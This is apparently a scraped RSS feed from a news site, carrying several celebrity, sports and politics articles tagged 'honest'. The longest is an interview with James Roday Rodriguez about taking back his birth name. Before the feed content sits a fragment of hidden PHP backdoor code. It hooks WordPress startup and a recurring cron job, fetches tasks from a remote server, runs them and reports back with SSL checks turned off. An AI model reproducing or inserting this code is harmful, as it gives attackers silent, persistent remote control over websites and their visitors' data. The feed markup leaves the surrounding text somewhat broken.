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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); honest – Brief News https://briefnews.eu Latest World News. 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James Rodriguez was a freshman at New York University when the then-aspiring actor first learned that his Mexican-American heritage was going to be a problem for Hollywood.

He had just nailed an audition for a big feature film, but the casting director was put off by the fact that his Caucasian-like skin tone was out of sync with his last name. So he was offered the chance to read for the role of a gang member, only to be told that he wasn’t right for that, either.

“I didn’t look Latino enough,” he recalls. “They basically didn’t know what to do with me.”

The movie was Primal Fear. The lead role in question launched Ed Norton’s career.

Three years later, on the eve of his college graduation, Rodriguez nailed another big audition for a series-regular role in a buzzy, DreamWorks-produced TV pilot. But the issue of his counterintuitive surname came up again.

“They said, ‘You might want to give some real consideration to changing your name,’” he says.

And with that, James Rodriguez morphed into James Roday.

Two decades later, he’s morphing back: Wednesday’s anticipated premiere of Psych 2: Lassie Come Home (on NBCU’s new streaming platform Peacock) will usher in the arrival of James Roday Rodriguez.

In an extensive interview with TVLine, Rodriguez breaks down those “two inauspicious audition experiences” that led him to drop his birth name, and opens up about how — some two decades later — the death of George Floyd and the global reckoning with racial injustice that it triggered prompted him to take it back. He also reveals the key role his current series, ABC’s A Million Little Things, played in this awakening, and discusses the significance of his new moniker debuting in the opening credits of this week’s Psych sequel.

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James Roday Rodriguez and his father, Jaime “Jim” Rodriguez

TVLINE | How did you arrive at this decision?
We’re all on our own journeys. And everyone is, hopefully, educating themselves and self-reflecting in a way that feels most efficient and actionable to them. For me, because I’ve always had a bit of a strange relationship with my own heritage, I started talking to my dad in, like, a real way, as opposed to, “Hey, what’s up? What does Christmas look like this year? Go Spurs! Or Go Titans. Or Go Cowboys.” On one hand, it’s unfortunate that it took the world turning upside down for that to sink in. On the other hand, it was so edifying, listening to my father talk about what it was like to be a brown person growing up in this country — and in Texas, no less. Having him relay to me stories about my grandparents and their experiences in the ’30s and ’40s… These were not stories that were shared around the Christmas tree when I was a kid. I was deeply moved, but also very shaken by a lot of the stuff that I heard — stuff that I was one or two generations removed from and never needed to reconcile or even stop and think about. It basically blew up my own relationship with my race, my sense of who I am when it comes to my relationship with that half of me. And it sent me down a road of reading and wanting to learn more about Mexican-American history and its foundation in this country. And it caused me to question a lot of the decisions that I have made as a 44-year-old man who has been working in the entertainment industry for 20 years, the biggest of which was the decision to not use my birth name when I started working professionally. The fact that my birth name is Rodriguez is out there [on the Internet]. I’ve never buried it. But I’ve also never led with it.

TVLINE | Take me back 20 years ago — what prompted you to drop Rodriguez professionally and go by Roday?
The first two experiences I had auditioning for work as an actor were both highly informed by the fact that my name did not match my skin tone. The first audition I ever had was for the lead in a major movie, and the casting director said to me, “You’re so great, but I don’t think I can call you back because your last name is Rodriguez. But I can call you back for this four-line role of a gang member,” which I ended up reading for. But they said I wasn’t right for that either because I didn’t look Latino enough. They basically didn’t know what to do with me.

TVLINE | What was the project?
Primal Fear. Everybody was reading for the Ed Norton role, because [the producers] wanted to discover someone new — and, to their credit, they did. Ed had just come out of Yale grad and he was a new face, for sure.

TVLINE | What happened from there?
Three years passed, and about a month before graduation, on a fluke, I get a meeting with an agent… and she decides to represent me. And she sends me on an audition the next day. It was so crazy. It was for a DreamWorks pilot that they couldn’t find their guy for. And in a matter of about 72 hours, I ditched two days of class, I auditioned for the pilot, they [signed me to a] test deal, and next thing I know I’m on a plane to Los Angeles and told in no uncertain terms, “You are our guy.” Their only concern was that the role wasn’t written for a Hispanic or Mexican person. They were worried that casting a white guy with a Mexican name could be construed as their version of ‘diverse casting,’ and there could be a backlash. They said, “You might want to give some real consideration to changing your name.” Now imagine someone giving that advice to an actor out loud today, with the climate and cancel culture. That’s it; they’re done. But this is the late ’90s. It was a different time and, frankly, my first two experiences kind of proved the point that they were making.

TVLINE | How old were you?
I was 21. And I had this bird in hand that I never dreamt I’d have. I had this decision to make. So I called my dad. I was really nervous, because he’s a proud Air Force veteran and he’s a proud Mexican-American man. I Psych 2 Quotewas like, “Dad, I don’t even know how to say this… but this amazing job has come up but they think I should change my name because I don’t look Mexican enough.” The man did not miss a beat. He cut me off and said, “Son, this is your dream. You gotta do what you gotta do.” And that was it. He let me off the hook. There was no further discussion. I didn’t have to say anything to my grandparents — he took care of all of that. And sure enough, I did the pilot, I came up with this name that I pulled right out of a Chekhov play that I was doing at the time, and I’ve been Roday ever since. And 20 years later, I realize I essentially perpetuated an institutionalized element of what’s broken about this industry, which is, of course, a microcosm of the world we are living in. I can’t excuse the decision because of youth or naiveté or ambition. The bottom line is, I sold out my heritage in about 15 seconds to have a shot at being an actor. [The pilot was ultimately not ordered to series.]

TVLINE | The theory online is that you changed your name because there was already an actor with the name James Rodriguez.
Yeah, I think my agent came back the next day and was like, “By the way, there is a James Rodriguez in [the Screen Actors Guild], so you would’ve had to use a middle initial or something.” And I was like, “Ah! Then it was meant to be!” And that became the explanation. But, in reality, it was not. It was something that I used to make myself feel better and to sleep at night. But now I’m going to go back to the name I was born with. It’s long overdue. I’m a little bummed out that my grandparents are not alive to see it. But my dad is. And I think it will mean something to him. That, in and of itself, is reason enough for me.

TVLINE | So, officially, your name will now be… ?
James Roday Rodriguez, which is actually what’s on every legal document that I have, [including] my driver’s license and my passport. When I changed my name, I never got rid of Rodriguez. I just replaced my given middle name [David] with Roday. So it’s always been there. Just no one could see it. Now they will.

The last thing I would ever want in a million years is for anyone to feel like I’m co-opting a movement to point a light at myself. But the truth is, it’s a deeply personal decision that I am doing for me. And I just hope it’s something that can be amplified. I hope we are all having these conversations in our lives. I hope we are all reflecting. I hope we’re all learning s–t that we thought we knew but didn’t know. And I hope we’re all chasing the best versions of ourselves moving forward. Who cares about me? The point is: Now is the time to dig in and seize the opportunity, collectively, to just be better.

I want to be the best, most honest ally and amplifier that I can be for my own community and for my friends of color. I don’t think any of us could do that if we’re not even putting the truest versions of ourselves out there. It just seems like a hurdle right out of the gate. I just really hope that this is something that we can all sustain. I don’t want this to be the thing that I look back at and go, “Oh, remember that three-month period where we all got woke and I changed my f–king name?”

I have never felt so activated in my life. Nor have I ever been this aware of what is going on around me and inside of me. I do feel that we are living through an incredibly pivotal moment right now. I pray it can sustain itself.

TVLINE | Do you identify as Mexican-American?
For most of my life I have identified as Mexican-American once or twice a year, and that’s when I go home and see all the Mexicans. [Laughs] It is a stark reminder, because it’s not like I’m related to a bunch of Mexicans that look white. I’m related to Mexicans. And many of them married other Mexicans who had children that look very Mexican. So in those moments, 364 days of the year, I look and feel one way. And then one day feels differently.

a-million-little-things-finale-recap-eddie-dies-season-2TVLINE | Interestingly, the character you play on A Million Little Things is Latino.
[Series creator] D.J. Nash, who loves to incorporate our personal lives and personal experiences into the stories, came to me [after I was initially cast] and, unsolicited, said, “Hey man, do you want Gary to have a Mexican last name?” And I couldn’t believe that someone was acknowledging that I was 50 percent Latino and actually asking me professionally if I wanted to associate that with my work. And I was stoked. I got excited. I thought this would probably be the only time I get to have a Latino name ever. And so I give credit for him for igniting a pilot light in me that opened the blinds a little bit so I felt more present in my own skin.

TVLINE | Is there any significance to the change taking effect with Psych 2?
That job kind of changed the trajectory of my career, so in many ways it feels like the absolute right place for it to happen.

TVLINE | Segueing to the Psych of it all, how important was it for you to do this sequel?
We cared about two things. Usually we only care about one thing, and that’s delivering for the fans. But this time, on top of that, we all felt like it was imperative that we get it right for Timothy [Omundson, who plays Lassie], in terms of what he needed as a human and what he needed as an actor in getting back on the horse for the first time [since suffering a massive stroke in 2017]. And once we all got [on set], it’s like everybody flipped a switch: We are back in a safe place. We had 85 percent of our original crew from the [original] series with us. We are here to love this man and hold this man and give him anything that he needs, and welcome him back to the thing he loves more than anything. And that was the experience, through and through, for those 15 days. And even though it’s been delayed, I do feel like the Peacock folks are behind it. They’ve been very supportive. My hope is that it will have been worth the wait.

TVLINE | When I spoke to Timothy earlier this year, he noted how patient and caring you and Psych creator Steve Franks were with him throughout the process. 
None of us really knew what to expect, including Tim. Each day was a lesson that we could learn for the next day. We were rewriting stuff based on the experience we were having with him on set. He was learning in real time what he felt comfortable doing, what he didn’t feel comfortable doing. He had no reference point for it. So it was basically figuring out what his sweet spot was going to be for this two-week period and then just rewriting to that as needed. He was nothing short of remarkable in terms of what he was able to handle… changes he was able to make, taking direction, putting intentions into scenes, playing jokes different ways. This is someone who, coming out of the stroke, wasn’t even sure if he was ever going to be able to walk again. Certainly no one was talking about him being on a set again. And to watch that f–king triumph of spirit, live and in person… talk about respect, man. It was powerful stuff. And it was a very emotional experience. I’ve always had untold respect for Tim, not only because of his talent but because of the job he does as a father and a husband and the way that he always balanced it all. And now I look at him and the strength and the fortitude and the infinite positivity that he has surrounding this is just humbling. It knocks you on your ass. I love that dude.

TVLINE | Were there any changes made to the sequel after it moved from USA Network to Peacock? Did you have extra time to play with? [In addition to starring, Roday co-wrote the pic and serves as an EP.]
We were so locked and loaded when [NBCUniversal] made that decision. It’s [basically] a USA movie that’s now gonna be on the Peacock. And I think it’s probably for the best because tonally, in terms of what we were trying to accomplish, we wanted to go back to what we know we do best. We didn’t have nearly as much money this time [vs. the first Psych movie], and we didn’t want to get hung up on making it feel event-worthy or cinematic or bigger than ever, which is kind of what we got caught up in the first time around. They were like, “Here’s how much money you have; do the best you can.” So we said, “Let’s just go back to the classic early Psych and give the fans a slightly Psych 2: Lassie Come Home Movie — Watch Videobloated version of what they fell in love with the show in the first place. And, also, that’s what we can afford.” [Laughs] So that’s what we did.

TVLINE | Are you viewing this as a trilogy? Or a semi-annual event?
I would love to do another one. I know that Tim watches [the sequel] and thinks, “If only that had been the third or fourth thing I did when I came back [instead] of the first.” I would love for him to get another crack at Lassie now that he has some more [projects] under his belt. But, the truth is, the fans are always going to dictate how many of these get made. It will never be us that shut it down. I think we all kind of made that pact like, “Who are we kidding? This job changed all of our lives, and none of us would be where we are without it, so we’re never gonna bite the hand that fed us.” For us, it’s always going to be, “OK, wanna do another one? Let’s look at the calendar and figure it out.” And if we end up giving Peacock a boost, I would think the chances are pretty good.

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]]> https://briefnews.eu/james-roday-details-deeply-personal-decision-to-reclaim-birth-name-rodriguez-i-want-to-be-the-most-honest-ally-for-my-community/feed/ 0 Martin Clunes’ appearance on GMB leaves viewers distracted: ‘Finally somebody honest’ https://briefnews.eu/martin-clunes-appearance-on-gmb-leaves-viewers-distracted-finally-somebody-honest/ https://briefnews.eu/martin-clunes-appearance-on-gmb-leaves-viewers-distracted-finally-somebody-honest/#respond Tue, 21 Apr 2020 11:41:50 +0000 https://briefnews.eu/martin-clunes-appearance-on-gmb-leaves-viewers-distracted-finally-somebody-honest/

“Heidi here, our sweet little dog, is losing her eyesight, she’s got her own little guide dog in the form of her idiot son Bob Jackson here, who never leaves her side.

“She bumps into him and bumbles along.”

As Martin talked about his pet pooches and the charity, viewers rushed to Twitter to comment on his choice of clothing with many thrilled to see him in loungewear.

“Finally somebody honest enough to appear in PJs. Let’s face most of us are still not dressed #gmb,” one viewer wrote.

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]]> https://briefnews.eu/martin-clunes-appearance-on-gmb-leaves-viewers-distracted-finally-somebody-honest/feed/ 0 Lucifer season 5 spoilers: Amenadiel star gives ‘honest’ opinion on show ending https://briefnews.eu/lucifer-season-5-spoilers-amenadiel-star-gives-honest-opinion-on-show-ending/ https://briefnews.eu/lucifer-season-5-spoilers-amenadiel-star-gives-honest-opinion-on-show-ending/#respond Thu, 13 Jun 2019 06:58:20 +0000 http://briefnews.eu/lucifer-season-5-spoilers-amenadiel-star-gives-honest-opinion-on-show-ending/

Fans of Lucifer were left shocked that season five will be the last season given the show’s huge success after being taken up by Netflix.

The show has been sat on top of the Netflix binge-watch charts ever since season four dropped as fans cannot get enough of the new and improved show.

Fans petitioned for a season five and were granted their wish, but were left to wonder why the series has been cut again.

Now, Lucifer’s (played by Tom Ellis) on-screen brother Amenadiel has had his say and has lent his support to fans.

At Oz Comic Con, the star said: “I think if we were really being honest, I think we felt like we had six seasons.

“But it’s only one season shorter than what we were thinking anyway, and every good thing comes to an end.

“There’s never a perfect time to end a show. We didn’t want to be one of those shows people love, that you slowly see kind of dying.

“As bittersweet as it is, we get to leave the show on such a high.”

After his words were picked up by fans, he then felt the need to clarify this was just his view and not an indication the show had been cut.

He tweeted: “Hey… just to clarify, this was MY opinion. A Network/Studio can end a series when they want. That’s the way it goes.

“@netflix has been absolutely INCREDIBLE to us guys. INCREDIBLE! YOU saved us, THEY saved us and now we have a chance to go out on a high! Please be positive.”

Naturally, fans loved his comments, with one fan replying: “It’s not that we’re sad the show is ending, we’re sad & depressed the show is ending before its time. #Lucifer was never a show to run forever, we always knew that. Of course we’re grateful to Netflix. But after the season four success and the hype by Netflix we feel betrayed.”

Another added: “I respect you so much, but I still feel like Netflix gave me a big hug while putting me a knife in the back. I am still heartbroken. I would have been sad to see the end, but it would have been the true end the writers wanted. It wouldn’t be the same sadness at all.”

A third agreed: “Honestly… I can’t feel positive right now. I’m still shocked because Netflix raised our expectations with the huge success of season four and their incredible promotion for the show but … with all this in mind, I can’t understand their decision. It’s simply too early.”

As fans’s anger boils over, a petition has been launched to get a sixth season.

The petition reads: “It had been announced that season five of Lucifer will be its last and final. This show has many more seasons left in it.

“I can’t understand why they would choose not to continue with the fan reaction of the cancellation after season three and season four, great reviews.

“So please, fellow Lucifans, join me and unite once more to show Netflix what the fans want and how many of us there are.”

Meanwhile, Maze star Lesley-Ann Brandt has teased potential conflict to come for Lucifer in season five.

On Twitter she also concluded by saying: “Season five is going to be lit!”

Lucifer season 4 is available to stream on Netflix now and season five is expected to start production this year.

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]]> https://briefnews.eu/lucifer-season-5-spoilers-amenadiel-star-gives-honest-opinion-on-show-ending/feed/ 0 ITV Good Morning Britain: ‘Nobody is being honest’ Tobias Ellwood slams Tory rivals https://briefnews.eu/itv-good-morning-britain-nobody-is-being-honest-tobias-ellwood-slams-tory-rivals/ https://briefnews.eu/itv-good-morning-britain-nobody-is-being-honest-tobias-ellwood-slams-tory-rivals/#respond Thu, 30 May 2019 16:20:34 +0000 http://briefnews.eu/itv-good-morning-britain-nobody-is-being-honest-tobias-ellwood-slams-tory-rivals/

ITV viewers tuned into see today’s Good Morning Britain hosted by Ranvir Singh and Adil Ray, following Piers Morgan and Susanna Reid having time off for half term. 

Joining the presenters in the studio was Tobias Ellwood who spoke about his Conservative colleagues and slammed some of their policies. 

“What I’m trying to say is, all these people saying ‘let’s just have unity,’ they’re missing the bigger point of actually he harsh reality of telling Britain ‘it’s not going to be easy, it’s going to be tough!’ He began explaining. 

“Instead, we’ve been making promises nobody’s been able to keep and we need a vision that will bind our country together and nobody is going is going to get what they want, but nobody is being honest with the truth.” 

Following his strong opinions, Ray was keen to find out whether or not he was going to run for the role. 

“Are you sure you’re not running? Are you going to surprise us now?” The presenter probed. 

Ellwood replied: “We’re having fun here, but this is a serious office, highest political rank in the land and the occupants of number ten downing street literally just occupy it and other times, usually due to crisis they aspire to greatness. 

“And the challenge we face today, we need a truly great Prime Minister to enter number ten!

“We need a communicator, you need a risk taker, you need a team builder that’s going to take people from their locked positions to somewhere they didn’t know they wanted to go! 

“You need someone with so much passion and energy, they’re [the public] are going to say: ‘I not only like what that person says, but sign me up! Let me be part of that team!’’

Ray continued: “I must say you’re beginning to sound like that person, are you sure you don’t want to run?” 

And Ellwood strongly replied: “No I don’t have the rank nor the experience. What I’m trying to say is all these people saying let’s just have this unity.” 

Those watching the interview took to Twitter and commented on Ellwood’s suggestions. 

One said: “@GMB @Tobias_Ellwood I think Tobias should stand. [He] tells it as it is.” 

Whilst another suggested: “@GMB @Tobias_Ellwood Well I must say, for a Tory, he speaks a lot of sense. 

Yesterday, GMB viewers saw Richard Madeley speak to Matt Hancock, another MP who is running in the leadership contest. 

Discussing his pitch to run for Prime Minister, the health secretary got into a heated discussion with Madeley and cut him off in order to explain his point of view. 

It comes as ten Conservative MP’s have nominated themselves for the leadership election to take over from Theresa May after she announced she would be standing down on June 7. 

She confirmed she would stay on as PM until a new leader is chosen – which senior Conservative figures said should be by the end of July. 

Good Morning Britain airs weekdays at 6am on ITV. 

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]]> https://briefnews.eu/itv-good-morning-britain-nobody-is-being-honest-tobias-ellwood-slams-tory-rivals/feed/ 0 Man Utd news: Jose Mourinho makes brutally honest Arsenal admission amid injury crisis https://briefnews.eu/man-utd-news-jose-mourinho-makes-brutally-honest-arsenal-admission-amid-injury-crisis/ https://briefnews.eu/man-utd-news-jose-mourinho-makes-brutally-honest-arsenal-admission-amid-injury-crisis/#respond Tue, 04 Dec 2018 22:21:06 +0000 http://briefnews.eu/man-utd-news-jose-mourinho-makes-brutally-honest-arsenal-admission-amid-injury-crisis/

Mourinho’s troops will welcome the in-form Gunners to Old Trafford tomorrow night.

The north Londoners go into the match riding a 19-game unbeaten run, which they maintained this past weekend with a 4-2 win over Tottenham.

In stark contrast to , United have won only one of their last four league games and have shipped six goals in that time.

Mourinho could be without the services of eight first-team defenders for tomorrow’s game, which he’s expecting to be a ‘difficult’ one.

“We will have a very difficult match,” the Portuguese said in his pre-match press conference. “They are a good team who have had a good run of results.”

Although Mourinho admits his side face a tough task to beat Emery’s men, he’s insisted the visitors are fully aware of the magnitude of the task that awaits them.

He added: “But in spite of our selection issues, they know it won’t be easy either.”

Tomorrow’s match will be Mourinho’s first game against the Arsenal since .

And he admits preparing for Emery’s side is a completely different proposition to preparing for the Gunners when they were managed by Wenger.

“Yes, it’s different [team],” said. “I have my opinion but keep [it] for myself, different yes, and a very difficult match for us because we are going to play against a good team in a good moment.

“[Also] without accumulation of matches because they are playing Europa League and when you play Europa League you normally play with second choices and give good rest to the players.

“We have to play to the max, with accumulation of matches, and then you arrive in this moment in December and many teams pay the price of that.

“That is not the motivation you want as a team as a club but to develop players fresher is a good way to do it.”

On United’s injury crisis, Mourinho said:  “We are going to be in difficulties again to build the team.

“We are again going to have to make adaptations and compensations to try to give some balance to the team.

“But then I believe we are again going to have the spirit to fight and to try and to win the match.”

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]]> https://briefnews.eu/man-utd-news-jose-mourinho-makes-brutally-honest-arsenal-admission-amid-injury-crisis/feed/ 0 ‘The Meg’ Honest Trailer: The Movie So Nice It Happens Twice https://briefnews.eu/the-meg-honest-trailer-the-movie-so-nice-it-happens-twice/ https://briefnews.eu/the-meg-honest-trailer-the-movie-so-nice-it-happens-twice/#respond Wed, 14 Nov 2018 06:11:03 +0000 http://briefnews.eu/the-meg-honest-trailer-the-movie-so-nice-it-happens-twice/ The Meg Honest Trailer

There seems to be a new movie with a killer shark in it at least every other year, and it’s up to the filmmaker whether that movie is going to be good like Jaws, bad like Jaws: The Revenge or so bad it’s good like Deep Blue Sea. But somehow, The Meg toes the line by having so much insane shark attack action juxtaposed with some pretty serious drama. It’s all a little perplexing.

Watch as The Meg Honest Trailer sinks its teeth into the aquatic Jason Statham action thriller.

The Meg Honest Trailer

The Meg is one of those movies that somehow remains entertaining despite the fact that we basically see the same movie happen twice in the same movie. It’s like getting the original and the sequel in the same movie, and you get two Megalodons for the price of one.

However, when you think about it, that seems pretty lazy, especially since The Meg is based on a series of books (seriously, there are six of them, even though the Honest Trailer only points out five). In fact, the original book features The Meg fighting a tyrannosaurus rex. Not only that, but instead of Jason Statham getting acrobatic and stabby with the giant shark at the end, his character rips the heart of the shark out from the inside. If you’re gonna make a crazy shark movie, go for the gold. But I guess we did get a giant squid in this movie, so maybe it evens out.

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]]> https://briefnews.eu/the-meg-honest-trailer-the-movie-so-nice-it-happens-twice/feed/ 0 We Need to Have an Honest Talk About Our Data https://briefnews.eu/we-need-to-have-an-honest-talk-about-our-data/ https://briefnews.eu/we-need-to-have-an-honest-talk-about-our-data/#respond Sat, 03 Nov 2018 11:37:15 +0000 http://briefnews.eu/we-need-to-have-an-honest-talk-about-our-data/ VR pioneer Jaron Lanier talks with WIRED about why the original architecture of the internet forced us into a kind of information trickery, and how we can fix it—to everyone’s benefit.


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]]> https://briefnews.eu/we-need-to-have-an-honest-talk-about-our-data/feed/ 0 ‘Brutally honest’: Outcry forced Facebook to stop banning pics of starving Yemeni girl https://briefnews.eu/brutally-honest-outcry-forced-facebook-to-stop-banning-pics-of-starving-yemeni-girl/ https://briefnews.eu/brutally-honest-outcry-forced-facebook-to-stop-banning-pics-of-starving-yemeni-girl/#respond Sun, 28 Oct 2018 14:35:24 +0000 http://briefnews.eu/brutally-honest-outcry-forced-facebook-to-stop-banning-pics-of-starving-yemeni-girl/

A backlash prompted Facebook to stop removing posts featuring a photo of an emaciated seven-year-old Yemeni girl, which accompanied a harrowing New York Times report from the war-torn country.

The atrocities in Yemen don’t make poignant headlines in Western mainstream media as often as stories about chemical weapons in Syria or ‘Russian meddling,’ as the conflict usually gets sidelined in the press, but there are notable exceptions. ‘The Tragedy of Saudi Arabia’s War’ was the title of a grim report published by the NYT on Friday.

An image of a starved child named Amal Hussain was chosen by the journalists to illustrate the horrible death toll and suffering inflicted on the small Arab nation of Yemen by the armed intervention of its Saudi neighbor.

Readers quickly began sharing the story on Facebook. They were surprised to learn that the company had been removing their posts for supposedly violating the social network’s ‘sexual material’ guidelines.

As the backlash soared, Facebook announced that it would cease to delete posts featuring the photo, and promised to restore the ones it had already removed. The IT giant explained that its rules prohibit the display of nude images of children, but admitted that the picture from the NYT story is “an important image of global significance.”

READ MORE: 5 reasons the nightmarish war in Yemen should never be forgotten (PHOTOS, VIDEO)

The NYT stated in response that they will continue to publish unsettling images while reporting on the war in Yemen. “They are brutal. But they are also brutally honest. They reveal the horror that is Yemen today,” its journalists wrote.

Saudi Arabia has led a military intervention in Yemen since 2015. The kingdom got involved in the conflict on behalf of the local government struggling with the armed Houthi rebels. The ensuing air raids, combined with heavy fighting on the ground, left more than 6,600 civilians dead and many more injured and displaced. The harsh Saudi-imposed blockade has led to cholera outbreaks and widespread famine.

Meanwhile, the NYT case is not the first time Facebook was blasted for censoring ‘important images,’ citing its own guidelines. In 2016, the company banned the world-famous 1972 photo showing a nude nine-year-old girl running away from a napalm attack in Vietnam. Following immense criticism, the social network recognized its mistake and ceased deleting the iconic image.

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]]> https://briefnews.eu/brutally-honest-outcry-forced-facebook-to-stop-banning-pics-of-starving-yemeni-girl/feed/ 0 Warne’s brutally honest regret https://briefnews.eu/warnes-brutally-honest-regret/ https://briefnews.eu/warnes-brutally-honest-regret/#respond Wed, 24 Oct 2018 13:44:13 +0000 http://briefnews.eu/warnes-brutally-honest-regret/ AUSTRALIAN cricket icon Shane Warne has opened up on his life away from the pitch in one of the frankest interviews the “Spin King” has ever given.

In the second part of his sit-down interview with the ABC’s Leigh Sales, Warne was an open book as he spoke about some of the biggest regrets throughout his career in the spotlight.

A life spent in front of the camera while both on and off the pitch, the leg spin legend has never been shy to speak his mind.

It’s why throughout the turbulent 2018 for Australian Cricket, he has been as vocal as ever in his criticism of the state of the game.

He labelled the ball-tampering scandal in South Africa as embarrassing and un-Australian, but insisted the punishment was too harsh.

“I don’t think the punishment fit the crime. Twelve-month ban for that. It equated to a $ 10 million fine. I thought they were very hard done by,” Warne said.

“But having said that, we hated it and we didn’t like it and they have to earn our respect back.”

But in a stunning interview of self-reflection, the Australian icon turned the spotlight on himself and opened up on his biggest regret.

And it had nothing to do with teammate feuds or even the scandals that splashed across tabloid pages. It was instead letting down his kids.

“It’s pretty hard to relive some things when you’ve let down your children and your family, embarrassed them at times,” Warne said.

“To hurt my children who are the most important thing in my life was really tough.

“The effect I had on my family, on my children. The effect I had on my children was I let them down.

“I have to live with that for the rest of my life. My ex-wife and I — to have the breakdown of a family is hard on kids, but I’m proud of the kids they’ve become and I’m proud of the father I’ve become. They were probably the biggest regrets.”

He says his three kids, Brooke, Summer and Jackson have forgiven him for past transgressions and the way through it all has been honesty, but the disappointment still lingers.

“Honesty with them and being honest with them about saying ‘I’m sorry, I let you down, my mistake’ and they were hurt by that.

“They’ve forgiven me and they understand me and they want me happy and they also have to accept who I am.

“There is no point them wanting me to be something I’m not. They accept me for who I am.

“Yes, I embarrass them and I think part of that is my job as a father to embarrass them, maybe not the way they — embarrass them in different ways, like wearing bad shorts to netball or something like that.

“I’m disappointed with that, but our relationship is great and I’m so happy for that.”

Throughout his fabled career, Warne has always been at the forefront of media attention and that all came to a head when he was handed a one-year ban from international cricket.

The ban came prior to the World Cup after a positive test was returned to a banned substance and it’s a moment Warne still struggles with.

“It was only a short time which was great, but when people thought I was a drug cheat,” Warne said.

“I’ve never tried cocaine or any of that stuff. When people found out that I’d failed a drug test, they thought I’d taken drugs, but I’d taken a fat pill off my mum.

“The reason — I never blame my mum and it annoys people that people blame my mum. It wasn’t fair.

“All I said was I got it from my mum, because otherwise people might have thought a diuretic, where did you get it from? The black market?

“I was just being honest and how simple a mistake it could be for anyone.”

LIVING THE SINGLE LIFE

While admitting to only having two serious relationships in his lifetime, Warne has constantly been linked with several high-profile women.

Of course his most famous scandal came in 2006 when images of a threesome with New Zealand-born model Coralie Eichholtz and model Emma Kearney leaked.

“I’ve always struggled to deal with these tabloid stories,” he wrote. “What sort of person hides a camera and then sells the pictures?

“I’m not a criminal … yes, I’m into women, which has cost me massively, time after time.

But it was his engagement to actor Liz Hurley that garnered worldwide media attention which the man himself described as the “happiest years of my life”.

“We’re still friends. I still love her. But there’s a big difference between loving someone and being in love with them,” Warne said on Perth’s Paul & Lise for Breakfast radio show.

“Unfortunately it got a bit too difficult in the end, but she didn’t do the wrong thing. I didn’t do the wrong thing. It was just one of those things that unfortunately didn’t quite happen.”

Since the high-profile split, Warne has been living the single life while keeping himself busy with cricket commentary around the world. A life he says has its downfalls.

“It is lonely at times. Travelling the world commentating and doing sponsorship things and being away in hotel rooms, it is fun and it is great but it is lonely at times,” he said.

“There is nothing better than a great relationship, that’s what we all want. If you can’t have a great relationship, I think single is the next best choice.”

His past lapses with relationships have taught him a harsh lesson, one that keeps him from opening up when meeting new potential partners.

“Sometimes you don’t meet people or don’t allow people to get to know you because you’re scared and worried they will sell a story or do whatever,” Warne said.

“I’ve tried dating apps and those sorts of things. Most of the time when I’ve met someone for a drink or for dinner, it is always through a friend.

“They have said “I’ve got this lovely person, you two will get along great” and I’m a bit like, OK and “What happens if it is no good?”

“So I’m not sure about that either. It’s tough too. I don’t want more children. I have three great kids.

“They say it might happen when you’re least expecting it. I’m happy being single but ideally I would love to be in a relationship that makes me happy.”

THE STRUGGLE OF LIFE IN THE SPOTLIGHT

He’s one of the biggest names Australian cricket has ever produced and the closest thing we have to a rock star.

But while he admits it can be “great” to be recognised, he says his perfect night doesn’t involve a few beers, it’s as simple as chilling on the couch and being with his kids.

Always at the forefront of any cricket conversation, Warne’s name has been in the national spotlight for more than 10 years and through that attention people have a picture of the man they believe him to be. But Warne says just because he’s made mistakes, he’s not what people think.

“Perception doesn’t always equal reality. I’m not a human headline. I think people sometimes — not everyone — but the majority of people think they know me,” Warne said.

“Most people, even if they don’t like cricket, or whatever, they have an opinion about me,”

“Good, bad, whatever it might be even if they don’t like me they still talk about me.

“They think you’re a wanker. You know, they might think you’re an idiot. They think you’ve got no idea. They think you’re dumb. They think all those sorts of things.

“And just because you make a few mistakes, it doesn’t mean you’re all of those things. You know, you might make some silly choices and silly mistakes, but that doesn’t mean you’re an idiot.

“So I think, when I say I’ve got to live up to the legend, you know say a few of my mates we go out for a beer to just hang out or let out some steam, you’re suddenly in a club and you think, everyone’s going ‘oh, Warnie, you legend’. Which is awesome right?

“It’s great. But suddenly you can see them all looking over and ‘you want a beer?’ Let’s do some shots’. And I go, ‘oh yeah, c’mon let’s do some’.

“So suddenly you feel like, even if you don’t want to you sort of feel like you’re public property and you don’t want to let them down. So it’s like ‘okay, let’s do it’.

“Suddenly you have four shots with this guy and you have three shots with this guy and you know ‘you’re a legend’. High five.

“Which is great. But I would much rather be at home on the couch with a couple of mates having a chat about sport or having a chat about anything. Or be with my kids watching a movie.”

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]]> https://briefnews.eu/warnes-brutally-honest-regret/feed/ 0 ‘I had to be honest in my views’: ‘Plaid shirt guy’ at Trump’s rally in Montana says he didn’t expect his facial expressions to be a viral hit https://briefnews.eu/i-had-to-be-honest-in-my-views-plaid-shirt-guy-at-trumps-rally-in-montana-says-he-didnt-expect-his-facial-expressions-to-be-a-viral-hit/ https://briefnews.eu/i-had-to-be-honest-in-my-views-plaid-shirt-guy-at-trumps-rally-in-montana-says-he-didnt-expect-his-facial-expressions-to-be-a-viral-hit/#respond Sat, 08 Sep 2018 02:09:50 +0000 http://briefnews.eu/i-had-to-be-honest-in-my-views-plaid-shirt-guy-at-trumps-rally-in-montana-says-he-didnt-expect-his-facial-expressions-to-be-a-viral-hit/ trump montana rallyScreenshot via YouTube

